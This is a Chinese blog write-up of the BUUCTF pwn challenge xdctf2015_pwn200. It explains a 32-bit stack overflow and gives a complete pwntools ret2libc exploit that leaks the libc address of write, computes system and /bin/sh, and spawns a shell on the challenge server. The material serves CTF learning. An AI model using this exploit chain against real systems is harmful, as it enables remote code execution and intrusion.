• [BUUCTF]PWN——xdctf2015_pwn200


    xdctf2015_pwn200

    附件

    步骤

    1. 例行检查,32位程序,开启了nx保护
      在这里插入图片描述
    2. 本地试运行一下程序,看看大概的情况
      在这里插入图片描述
    3. 32位ida载入,习惯性的检索程序里的字符串,没有发现什么铭感的地方,直接看main函数
      在这里插入图片描述
      vuln函数
      在这里插入图片描述
      参数buf存在溢出漏洞,由于开启了nx,没有可以直接利用的后门,这边使用ret2libc的方法

    利用过程:

    1. 先用write函数泄露libc版本
    payload='a'*(0x6c+4)                    #溢出到ret
    payload+=p32(write_plt)+p32(vuln_addr)  #覆盖ret为write,write结束后跳转到vuln函数继续执行,为我们第二次利用输入点构造rop攻击做准备
    payload+=p32(1)+p32(write_got)+p32(4)   #write函数的参数
    
    r.sendline(payload)
    
    #write_addr=u32(r.recv(4))
    write_addr=u32(r.recvuntil('xf7')[-4:])  #接收泄露的程序里write函数的地址
    

    write_addr=u32(r.recvuntil('xf7')[-4:])这边说一下这句话是怎么来的
    我一开始写的write_addr=u32(r.recv(4))没有接收到我想要的地址,这个时候我们可以加句语句 context.log_level="debug" 去看一下数据传输的过程
    在这里插入图片描述
    可以看到我们传入的a字符串结束的地方是0x7C,后面跟着的就是我们泄露出来的write函数的地址,我写的意思是从0x7F(这一行末尾),往前截取4字节,得到了我们的write函数的地址

    1. 计算出system和bin/sh的地址,去构造rop攻击
    libc=LibcSearcher('write',write_addr)
    
    libc_base=write_addr-libc.dump('write')
    system=libc_base+libc.dump('system')
    binsh=libc_base+libc.dump('str_bin_sh')
    
    payload='a'*(0x6c+4)+p32(system)+p32(vuln_addr)+p32(binsh)
    

    完整exp:

    from pwn import *
    from LibcSearcher import *
    
    r=remote('node3.buuoj.cn',27464)
    elf=ELF('./bof')
    context.log_level='debug'
    
    write_plt=elf.plt['write']
    write_got=elf.got['write']
    vuln_addr=0x80484D6
    
    payload='a'*(0x6c+4)+p32(write_plt)+p32(vuln_addr)+p32(1)+p32(write_got)+p32(4)
    
    r.sendline(payload)
    
    #write_addr=u32(r.recv(4))
    write_addr=u32(r.recvuntil('xf7')[-4:])
    
    libc=LibcSearcher('write',write_addr)
    
    libc_base=write_addr-libc.dump('write')
    system=libc_base+libc.dump('system')
    binsh=libc_base+libc.dump('str_bin_sh')
    
    payload='a'*(0x6c+4)+p32(system)+p32(vuln_addr)+p32(binsh)
    
    r.sendline(payload)
    r.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    Python pandas检查数据中是否有NaN的几种方法
    实现one hot encode独热编码的两种方法
    深度学习框架-caffe安装-环境[Mac OSX 10.12]
    Git使用记录
    求解大于某数的下一个素数
    caffe cifar10试跑问题总结
    深度学习框架-caffe安装-Mac OSX 10.12
    常用bash命令
    vim文本编辑器
    第十八周助教总结
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273664.html
Copyright © 2020-2023  润新知